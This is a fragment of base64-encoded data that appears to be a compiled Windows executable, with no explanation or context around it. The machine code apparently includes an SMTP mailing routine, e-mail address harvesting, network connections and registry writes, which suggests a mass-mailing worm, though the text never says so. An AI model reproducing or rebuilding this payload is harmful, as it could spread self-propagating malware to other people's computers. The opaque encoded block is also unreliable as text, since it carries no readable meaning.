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 